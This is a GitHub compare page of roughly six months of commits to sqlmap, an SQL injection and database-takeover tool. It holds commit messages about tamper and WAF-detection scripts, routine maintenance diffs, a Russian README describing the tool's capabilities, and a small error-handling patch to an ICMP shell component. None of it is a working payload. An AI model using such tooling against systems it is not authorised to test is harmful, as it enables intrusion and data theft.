Compare commits

..

192 Commits

Author SHA1 Message Date
Miroslav Stampar
e7d448c56c Minor update regarding #3129 2018-06-01 10:21:59 +02:00
Miroslav Stampar
694b5bb5c0 New tamper script (per user request) 2018-05-30 15:48:16 +02:00
Miroslav Stampar
eb498e6c03 Fixes #2819 2018-05-29 14:54:43 +02:00
Miroslav Stampar
ca8b589d43 Fixes #3122 (by reverting 6c4e9ae427) 2018-05-29 14:26:31 +02:00
Miroslav Stampar
18706f7fad Minor patch for unhandled exception reports 2018-05-28 11:29:06 +02:00
Miroslav Stampar
80f3b9a711 Minor worflow change in case of unhandled exceptions (disregard --batch) 2018-05-28 11:10:42 +02:00
Miroslav Stampar
6b3f01bfeb Minor patch 2018-05-28 11:07:06 +02:00
Miroslav Stampar
42042fb5de Removing encoding report part (enough time has been passed to collect major problems) 2018-05-24 10:41:20 +02:00
Miroslav Stampar
2abc7fc588 Update related to the #3116 (consistency patch) 2018-05-24 10:13:13 +02:00
German
1ecc326714 Russian localization readme (#3116)
* add russian doc readme

* add link head readme
2018-05-24 10:11:09 +02:00
Miroslav Stampar
d2d829abf5 Patch related to the #3117 2018-05-24 10:07:35 +02:00
Miroslav Stampar
43d9ac2bd4 Patch related to the #3101 2018-05-21 23:44:21 +02:00
Miroslav Stampar
d8196cf7e6 Fixes #3110 2018-05-21 23:17:32 +02:00
Miroslav Stampar
42b0edca6d Fixes #3109 2018-05-19 12:35:39 +02:00
Miroslav Stampar
331ccc5549 Fixes #3100 2018-05-17 23:07:52 +02:00
Miroslav Stampar
d5627fdf1b Fixes #3099 2018-05-15 12:15:47 +02:00
Miroslav Stampar
7b3a17bfe7 Patch for #3068 2018-05-09 13:38:39 +02:00
Miroslav Stampar
4a8f01c9dc Minor updates 2018-05-08 14:06:34 +02:00
Miroslav Stampar
13bf3e649a Trivial refactoring 2018-05-08 12:09:24 +02:00
Miroslav Stampar
9a63fb1055 Trivial refactoring 2018-05-08 11:59:56 +02:00
Miroslav Stampar
3544793961 Fixes #3088 2018-05-07 10:48:35 +02:00
Miroslav Stampar
7a8add0412 Update regarding #3068 2018-05-05 14:49:35 +02:00
Miroslav Stampar
1d382bcb4d Fixes #3086 2018-05-05 14:33:00 +02:00
Miroslav Stampar
ec6ad3ce68 Bug fix (non-digit --union-char has not been working properly) 2018-05-05 14:22:06 +02:00
Miroslav Stampar
73d8952f2a Potential patch for #3084 2018-05-04 16:29:36 +02:00
Miroslav Stampar
2a810fb796 Trivial modifications (thou shalt not judge people by trivial commits) 2018-05-03 14:10:55 +02:00
Miroslav Stampar
8f7a7bed20 Minor patch 2018-05-03 13:31:27 +02:00
Miroslav Stampar
36b0ece2ad Minor message update 2018-04-30 11:02:01 +02:00
Miroslav Stampar
7d8fbab035 Fixes #3069 2018-04-26 18:56:17 +02:00
Miroslav Stampar
5580db0045 Fixes #3067 2018-04-24 19:52:12 +02:00
Miroslav Stampar
3fde205cd4 Generic patch for #2886 (cause still unknown) 2018-04-24 19:45:53 +02:00
Miroslav Stampar
1822cc05f6 Patch for #3060 2018-04-22 01:12:56 +02:00
Miroslav Stampar
509bb41b06 Adding (hidden) switch '--force-pivoting' (Issue #3032) 2018-04-17 17:08:57 +02:00
Miroslav Stampar
8ca3287df4 Proper way to skip already used payloads (important to --suffix/--prefix cases) 2018-04-12 14:38:32 +02:00
Miroslav Stampar
60767de2eb Patching issue that got into with patch for #2934 (ORDER BY was unusable in majority of regular cases) 2018-04-12 12:25:37 +02:00
Miroslav Stampar
29e683fb5b Skip prepending CR to readInput messages if in non-TTY mode (ugly looking in Linux text editors) 2018-04-12 11:33:23 +02:00
Miroslav Stampar
148d1c9ff9 Fixes #3037 2018-04-11 15:19:44 +02:00
Miroslav Stampar
a8cb14ed4a Minor patch (disable tamper script usage in WAF/IDS/IPS check phase) 2018-04-11 14:48:54 +02:00
Miroslav Stampar
c634f0b0d6 Patch related to the #3041 2018-04-11 13:14:09 +02:00
Miroslav Stampar
8605c49911 Update related to the #3039 2018-04-11 13:06:47 +02:00
Miroslav Stampar
44f6951dfe Update of xml/banner files 2018-04-10 11:35:39 +02:00
Miroslav Stampar
b5b32c951c Minor update 2018-04-10 11:03:08 +02:00
Miroslav Stampar
a9c3b59cff Update related to the #2999 2018-04-09 12:14:46 +02:00
Miroslav Stampar
4528cb014d Minor just in case patch 2018-04-09 12:05:08 +02:00
Miroslav Stampar
2c5f976993 Fixes #3035 2018-04-09 11:34:50 +02:00
Miroslav Stampar
4f2669a45a Fixes #3030 2018-04-06 01:13:04 +02:00
Miroslav Stampar
641838ed73 Minor update 2018-04-06 01:06:58 +02:00
Miroslav Stampar
2a681b7bd6 Fixes #3027 2018-04-05 12:25:41 +02:00
Miroslav Stampar
7f3f1dcdee Fixes #3022 2018-04-03 12:50:09 +02:00
Miroslav Stampar
4147f44e63 Potential patch for Issues like #3013 and #3017 2018-04-01 12:45:47 +02:00
Miroslav Stampar
2cc6214227 Fixes #3020 2018-04-01 11:25:51 +02:00
Miroslav Stampar
8a90512354 One more commit related to the last one (reduce false hopes in heavily dynamic cases) 2018-03-31 11:02:48 +02:00
Miroslav Stampar
ae8699f258 Reducing false-positive 'appears' messages in heavily dynamic environment 2018-03-29 14:47:30 +02:00
Miroslav Stampar
cdb1e79370 Disabling ORDER BY tests in heavily dynamic environment 2018-03-29 14:37:33 +02:00
Miroslav Stampar
f0677d88b7 Trivial update 2018-03-29 14:22:46 +02:00
Miroslav Stampar
16cd13d7db Fixes #3014 2018-03-28 17:24:12 +02:00
Miroslav Stampar
c7329cb03b Probable patch for #3013 and similar Issues 2018-03-28 15:23:14 +02:00
Miroslav Stampar
45fb5ab4a5 Patch for cases when http: is immediatelly being redirected to https: 2018-03-28 15:13:33 +02:00
Miroslav Stampar
241f7321de Proper patch related to the #3009 2018-03-26 15:39:48 +02:00
Miroslav Stampar
c6c1ac02bb Patch related to the #3009 2018-03-26 15:07:43 +02:00
Miroslav Stampar
f287ff3767 Trivial comment update 2018-03-21 14:29:54 +01:00
Miroslav Stampar
7d5a0ed2dc Use false-positive checks in dummy mode 2018-03-21 14:22:59 +01:00
Miroslav Stampar
4fc7fc6447 Patch for an Issue #2943 2018-03-20 11:32:31 +01:00
Miroslav Stampar
880d709bfd Removing checkIntegrity() from smokeTest() (primarly used before commiting) 2018-03-20 10:32:47 +01:00
Miroslav Stampar
0ddc7bae66 Fixes #2997 2018-03-20 10:31:31 +01:00
Miroslav Stampar
305b2aa9b5 Minor update for smoke test 2018-03-19 01:02:28 +01:00
Miroslav Stampar
e63b97afd6 Refactoring #2992 2018-03-19 00:53:16 +01:00
Arjun V
c378b6691c Adding sample schemas shipped with Oracle DB (#2992)
* Adding sample schemas shipped with Oracle DB

Added sample schemas that are included with the Oracle Guides. They are unbelievably common in live systems from personal experience.

https://docs.oracle.com/cd/E11882_01/server.112/e10575/tdpsg_user_accounts.htm#TDPSG20303

* Adding  as an oracle system database for exclusion

`APPQOSSYS` schema is used by Oracle Database QoS Management

https://docs.oracle.com/cd/E11882_01/server.112/e24611/install_config.htm
2018-03-19 00:51:00 +01:00
Miroslav Stampar
ee431cd83b Minor update 2018-03-19 00:39:48 +01:00
Miroslav Stampar
e088fe08ec Update related to the #2995 2018-03-19 00:33:30 +01:00
Miroslav Stampar
74de40b9c5 Minor patch of a previous commit 2018-03-16 15:21:19 +01:00
Miroslav Stampar
6c2b7cff80 Minor patch of UNION checking logic 2018-03-16 15:11:04 +01:00
Miroslav Stampar
a6809e03ef Minor just in case patch 2018-03-16 14:38:47 +01:00
Miroslav Stampar
ac68eed65d Trivial code style update 2018-03-16 14:33:22 +01:00
Miroslav Stampar
a27f21cb1d Trivial message updates 2018-03-16 14:30:47 +01:00
Miroslav Stampar
01fb07f68c Minor patch (message for --check-internet) 2018-03-16 14:28:37 +01:00
Miroslav Stampar
d7f2445814 Minor patch of error message parsing regex 2018-03-16 14:25:27 +01:00
Miroslav Stampar
6875c40a06 Minor update of permission problems detection 2018-03-16 14:20:43 +01:00
Miroslav Stampar
4cd859012a Switching zipball update method to experimental 2018-03-15 11:07:14 +01:00
Miroslav Stampar
5feb4c3ccd Updated --update mechanism (fetching and extraction of zipball) 2018-03-14 13:36:10 +01:00
Miroslav Stampar
3c5e9e7559 Fixes #2982 2018-03-14 01:02:26 +01:00
Miroslav Stampar
909a3456e3 Potential fix for #2980 2018-03-13 14:40:32 +01:00
Miroslav Stampar
fa4c1c5251 Some more PEPing (I hope that I haven't broke anything) 2018-03-13 13:45:42 +01:00
Miroslav Stampar
8166a4eeb8 Minor PEPing 2018-03-13 11:25:26 +01:00
Miroslav Stampar
ae2b02952f Dealing with deprecated raises 2018-03-13 11:13:38 +01:00
Miroslav Stampar
1d9c11b1c1 Minor update of Travis config 2018-03-13 11:03:05 +01:00
Miroslav Stampar
99894dc3c1 Minor update (git/https repo address consistency) 2018-03-13 10:37:13 +01:00
Miroslav Stampar
0c4b6c9978 Fixes #2974 2018-03-12 11:37:48 +01:00
Miroslav Stampar
cd88caa0e7 Fixes #2977 2018-03-11 03:34:31 +01:00
Miroslav Stampar
c024233f88 Minor patch 2018-03-11 03:28:19 +01:00
Miroslav Stampar
5380e8174b Safer WAF heuristics in case of URI injections 2018-03-11 03:20:33 +01:00
Miroslav Stampar
4cefff7e98 Bug fix (misencoding inside check waf payload) 2018-03-11 03:13:33 +01:00
Miroslav Stampar
11b52c85e1 Patch of bug introduced with 76905e8728 2018-03-11 02:46:37 +01:00
Miroslav Stampar
24cefeaee2 Minor notification update 2018-03-11 02:20:22 +01:00
Miroslav Stampar
9ad32864ec Fixes #2973 2018-03-11 02:15:17 +01:00
Miroslav Stampar
190e8ae5fa Bug fix (UNION SQLi with --no-escape) 2018-03-08 17:44:15 +01:00
Miroslav Stampar
43044d8512 Added new compiled 64-bit version (Issue #2965) 2018-03-08 13:33:49 +01:00
Miroslav Stampar
881b49afd2 Fixes #2969 2018-03-08 01:21:34 +01:00
Miroslav Stampar
93b425809e With latest NULL checks (Issue #2965) 2018-03-07 16:04:35 +01:00
Miroslav Stampar
4f2f31af67 Compiled 32-bit version for #2965 2018-03-07 15:43:42 +01:00
Miroslav Stampar
f95d0c831b Minor refactoring (already default mode in os.makedirs) 2018-03-07 14:34:38 +01:00
Miroslav Stampar
76905e8728 Patch related to the #2953 2018-03-05 10:53:24 +01:00
Miroslav Stampar
8d6cc4ae2c Fixes #2959 2018-03-03 00:50:47 +01:00
Miroslav Stampar
a369f61207 Fixes #2956 2018-03-03 00:27:21 +01:00
Miroslav Stampar
34d2fb1c8f Fixes #2957 2018-03-03 00:01:26 +01:00
Miroslav Stampar
ec6de40a8d Fixes #2958 2018-03-02 23:38:07 +01:00
Miroslav Stampar
6402d2ec57 Fixes #2952 2018-02-28 09:44:45 +01:00
Miroslav Stampar
b25f2bfa45 Minor patch (not not upload to <script.ext>/ directories) 2018-02-27 12:57:48 +01:00
Miroslav Stampar
9df16f3eb2 Bug fix (regex for paths included full error message) 2018-02-27 12:49:05 +01:00
Miroslav Stampar
d99151ce5a Minor update for --wizard mode 2018-02-27 12:37:45 +01:00
Miroslav Stampar
93859fdc42 Fixes #2948 2018-02-26 13:37:19 +01:00
Miroslav Stampar
b595b883d1 Temporary patch for #2947 2018-02-25 17:39:21 +01:00
Miroslav Stampar
67f8c22702 Fixes #2942 2018-02-21 11:47:01 +01:00
Miroslav Stampar
24cc6e92e9 Trivial update 2018-02-20 14:26:31 +01:00
Miroslav Stampar
f38596a5b3 Minor refactoring 2018-02-20 14:02:02 +01:00
Miroslav Stampar
5ff54bf9c6 Fixes #2934 2018-02-14 17:10:44 +01:00
Miroslav Stampar
8e8ae52288 Minor text update 2018-02-13 23:10:53 +01:00
Miroslav Stampar
e2cc9569e5 Implementation for an Issue #2891 2018-02-13 15:53:50 +01:00
Miroslav Stampar
365fa5a52a Fixes #2923 2018-02-10 11:06:31 +01:00
Miroslav Stampar
faaae2b647 Minor refactoring 2018-02-08 17:08:44 +01:00
Miroslav Stampar
d813d24c48 Minor update 2018-02-08 16:58:50 +01:00
Miroslav Stampar
e347d90ec5 Minor patch 2018-02-08 16:53:46 +01:00
Miroslav Stampar
56a4e507e8 Minor refactoring 2018-02-08 16:49:16 +01:00
Miroslav Stampar
5b99180ffe Update for an Issue #806 2018-02-08 00:04:04 +01:00
Miroslav Stampar
061c8da36b Proper overlongutf8.py (Issue #806) 2018-02-07 23:59:36 +01:00
Miroslav Stampar
a16663f9a1 Minor refactoring 2018-02-07 16:05:41 +01:00
Miroslav Stampar
62fc2e1e17 Fixes #2911 2018-02-06 10:48:47 +01:00
Miroslav Stampar
ef8b2d793f Fixes #2910 2018-02-06 10:27:10 +01:00
Miroslav Stampar
aebfb7d597 Update related to the #2912 2018-02-06 09:50:36 +01:00
Miroslav Stampar
9e75bb7f68 Minor patch 2018-01-31 11:43:17 +01:00
Miroslav Stampar
be7711bcdb Minor patch related to the #2900 2018-01-31 11:29:53 +01:00
Miroslav Stampar
10fd004dec Reverting set() brace form because of Python 2.6 compatibility issues 2018-01-31 11:24:28 +01:00
Miroslav Stampar
0a8bc52910 Minor updates 2018-01-31 11:13:08 +01:00
Miroslav Stampar
31fa7f6c94 Trivial update# 2018-01-31 10:50:34 +01:00
Miroslav Stampar
30f8c30d6a Minor update 2018-01-31 10:36:13 +01:00
Miroslav Stampar
fd8bbaff9f Minor update of error regexes 2018-01-31 00:15:11 +01:00
Miroslav Stampar
02661c166d Removing leftover pdb (#2769) 2018-01-25 12:31:22 +01:00
Miroslav Stampar
4bf20066ec Update related to the #2769 2018-01-25 12:29:56 +01:00
Miroslav Stampar
c5730ee88d Update related to the #2677 2018-01-25 12:23:54 +01:00
Miroslav Stampar
a7bf4f47e6 Update related to the #2677 2018-01-25 12:13:33 +01:00
Miroslav Stampar
fc06d4d9cb Adding full OS info in error reports 2018-01-21 11:54:42 +01:00
Miroslav Stampar
4b9613e362 Trivial update 2018-01-21 11:49:50 +01:00
Miroslav Stampar
cea9d1c75e Patch related to the #2890 2018-01-21 11:11:20 +01:00
Miroslav Stampar
94c170d392 Minor refactoring 2018-01-15 14:04:41 +01:00
Miroslav Stampar
18626656ec Minor patch 2018-01-15 13:53:46 +01:00
Miroslav Stampar
e5ab678db0 Fixes #2856 2018-01-15 13:43:50 +01:00
Miroslav Stampar
a59198d1e4 Minor just in case patch (to prevent junk reports) 2018-01-15 09:48:07 +01:00
Miroslav Stampar
f6738adc04 Abracadabra #2790 2018-01-12 16:17:57 +01:00
Miroslav Stampar
e0dee9418d Fixes #2866 2018-01-08 01:21:29 +01:00
Miroslav Stampar
439f8247b6 Revert of version string 2018-01-02 01:08:47 +01:00
Miroslav Stampar
165b275fd7 Update of version 2018-01-02 01:05:01 +01:00
Miroslav Stampar
811bd0e89f Updating version string for fresh tag 2018-01-02 00:55:08 +01:00
Miroslav Stampar
47bbcf90ea More updates of copyright years 2018-01-02 00:50:07 +01:00
Miroslav Stampar
8a122401aa Update of copyright years 2018-01-02 00:48:10 +01:00
Miroslav Stampar
ddc453e3da Update of minor revision 2018-01-02 00:44:40 +01:00
Miroslav Stampar
764d114b3c Fixes #2858 2018-01-02 00:42:20 +01:00
Miroslav Stampar
6e9fe27fa0 Minor patch related to the #2856 2017-12-30 16:35:45 +01:00
Miroslav Stampar
132fb0d18d Another just in case patch for #2852 2017-12-30 16:25:19 +01:00
Miroslav Stampar
84b7a26bfd Minor patch for #2852 2017-12-29 13:52:15 +01:00
Miroslav Stampar
66c1f72a16 Minor optimization 2017-12-29 13:04:52 +01:00
Miroslav Stampar
b6584c8043 Fixes #2853 2017-12-28 13:25:26 +01:00
Miroslav Stampar
78ac42c168 Minor refactoring 2017-12-28 12:56:30 +01:00
Miroslav Stampar
009f13742e Dirty patch for safe-encoded unicode characters 2017-12-27 12:23:35 +01:00
Miroslav Stampar
1df0461893 Guessing patch for #2837 (as of lack of user data) 2017-12-25 00:18:06 +01:00
Miroslav Stampar
bc1fbc5a58 Potential patch for #2847 2017-12-24 23:54:43 +01:00
Miroslav Stampar
cad6cfe6a6 Fixes #2843 2017-12-24 04:03:32 +01:00
Miroslav Stampar
7ade3aa1ad Fixes #2841 2017-12-22 01:25:03 +01:00
Miroslav Stampar
0b24a80387 Patch related to the --hex and --technique=E (potential patch for #2837) 2017-12-20 14:51:15 +01:00
Miroslav Stampar
574074e171 Another patch for #2827 2017-12-14 15:45:14 +01:00
Miroslav Stampar
f2f7994ac6 Minor improvement of generic WAF script 2017-12-13 15:31:35 +01:00
Miroslav Stampar
42ddfd8f50 Minor bug fix 2017-12-13 15:12:03 +01:00
Miroslav Stampar
2d4391dc36 Adding new WAF script (F5 ASM) 2017-12-13 15:10:15 +01:00
Miroslav Stampar
5326df1071 Minor grammar fix 2017-12-13 13:49:55 +01:00
Miroslav Stampar
9a2cdd4b59 Potential patch for #2826 2017-12-13 13:22:42 +01:00
Miroslav Stampar
acd764fee8 Fixes #2828 2017-12-13 10:46:46 +01:00
Miroslav Stampar
310a82933c Patch for #2827 2017-12-13 10:22:25 +01:00
Miroslav Stampar
b1662f54c8 Revisiting some of links 2017-12-12 13:39:58 +01:00
Miroslav Stampar
8cef17b583 Minor just in case patch (error set in case of --string) 2017-12-12 11:18:17 +01:00
Miroslav Stampar
cb1b5d30fd Minor refactoring 2017-12-12 10:48:19 +01:00
Miroslav Stampar
5d6b972002 Switching Informix dump from regular to pivotdumptable 2017-12-11 14:49:30 +01:00
Miroslav Stampar
57044262d9 Minor patch for pivotdump 2017-12-11 14:15:11 +01:00
Miroslav Stampar
8d19c3bd46 Proper patch related to the dde1178100 2017-12-11 13:01:37 +01:00
Miroslav Stampar
b9efdb2999 Fixes #2824 2017-12-11 11:26:09 +01:00
Miroslav Stampar
dde1178100 Fixes (old) Informix escaping 2017-12-11 10:44:47 +01:00
Miroslav Stampar
638dbf255a Fixes #2818 2017-12-06 13:42:15 +01:00
Miroslav Stampar
a90b5f7fb3 Fixes #2766 2017-12-05 11:33:30 +01:00
Miroslav Stampar
06ca058300 Fixes #2812 2017-12-04 15:40:59 +01:00
Miroslav Stampar
370884d07a Fixes #2811 2017-12-04 14:59:05 +01:00
Miroslav Stampar
91bffe988b Minor patch 2017-12-04 14:22:51 +01:00
Miroslav Stampar
220dffbcfa Couple of wording updates 2017-12-04 13:59:35 +01:00
Miroslav Stampar
9fab2c9764 Minor refactoring 2017-12-04 13:41:02 +01:00
Miroslav Stampar
7244e8e4e2 Minor patches 2017-12-04 13:24:51 +01:00
368 changed files with 3355 additions and 3152 deletions

View File

@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change. * Each patch should make one logical change.
* Wrap code to 76 columns when possible.
* Avoid tabbing, use four blank spaces instead. * Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). * Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. * Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.

View File

@@ -1,4 +1,7 @@
language: python language: python
sudo: false
git:
depth: 1
python: python:
- "2.6" - "2.6"
- "2.7" - "2.7"

View File

@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file. of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -64,5 +64,6 @@ Translations
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)

View File

@@ -0,0 +1,50 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
Скриншоты
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki.
Установка
----
Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
Использование
----
Чтобы получить список основных опций и вариантов выбора, используйте:
python sqlmap.py -h
Чтобы получить список всех опций и вариантов выбора, используйте:
python sqlmap.py -hh
Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Ссылки
----
* Основной сайт: http://sqlmap.org
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
beep.py - Make a beep sound beep.py - Make a beep sound
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
cloak.py - Simple file encryption/compression utility cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
dbgtool.py - Portable executable to ASCII debug script converter dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -125,8 +125,12 @@ def main(src, dst):
# Have the IP packet contain the ICMP packet (along with its payload) # Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp) ip.contains(icmp)
try:
# Send it to the target host # Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0)) sock.sendto(ip.get_packet(), (dst, 0))
except socket.error, ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
if __name__ == '__main__': if __name__ == '__main__':
if len(sys.argv) < 3: if len(sys.argv) < 3:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
safe2bin.py - Simple safe(hex) to binary format converter safe2bin.py - Simple safe(hex) to binary format converter
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files # Removes duplicate entries in wordlist like files

31
extra/shutils/newlines.py Normal file
View File

@@ -0,0 +1,31 @@
#! /usr/bin/env python
# Runs pylint on all python scripts found in a directory tree
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
import os
import re
import sys
def check(filepath):
if filepath.endswith(".py"):
content = open(filepath, "rb").read()
#if re.search(r"\r?\n\r?\n", content):
if "\n\n\n" in content:
index = content.find("\n\n\n")
print filepath, repr(content[index-30:index+30])
if __name__ == "__main__":
try:
BASE_DIRECTORY = sys.argv[1]
except IndexError:
print "no directory specified, defaulting to current working directory"
BASE_DIRECTORY = os.getcwd()
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
for root, dirs, files in os.walk(BASE_DIRECTORY):
if any(_ in root for _ in ("extra", "thirdparty")):
continue
for name in files:
filepath = os.path.join(root, name)
check(filepath)

View File

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -60,7 +60,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
